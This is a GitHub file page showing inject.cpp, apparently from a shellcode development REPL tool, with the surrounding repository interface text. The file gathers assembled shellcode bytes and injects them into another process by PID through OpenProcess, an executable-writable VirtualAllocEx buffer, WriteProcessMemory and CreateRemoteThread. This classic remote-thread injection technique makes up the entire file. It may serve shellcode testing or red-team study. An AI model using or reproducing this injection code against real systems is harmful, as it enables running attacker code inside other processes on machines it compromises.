-
Notifications
You must be signed in to change notification settings - Fork 29
Expand file tree
/
Copy pathinject.cpp
More file actions
31 lines (23 loc) · 992 Bytes
/
inject.cpp
File metadata and controls
31 lines (23 loc) · 992 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include "repl.h"
static std::vector<unsigned char> get_shellcode(std::vector<asm_t>* assemblies)
{
std::vector<unsigned char> bytes;
for (asm_t assembly : *assemblies)
bytes.insert(bytes.end(), assembly.bytes.begin(), assembly.bytes.end());
return bytes;
}
BOOL shelldev_inject_shellcode(std::vector<asm_t>* assemblies, std::string pid)
{
DWORD PID = std::stoi(pid);
shelldev_print_good("Injecting shellcode into %d", PID);
std::vector<unsigned char> bytes = get_shellcode(assemblies);
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
remoteBuffer = VirtualAllocEx(processHandle, NULL, bytes.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, bytes.data(), bytes.size(), NULL);
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
return TRUE;
}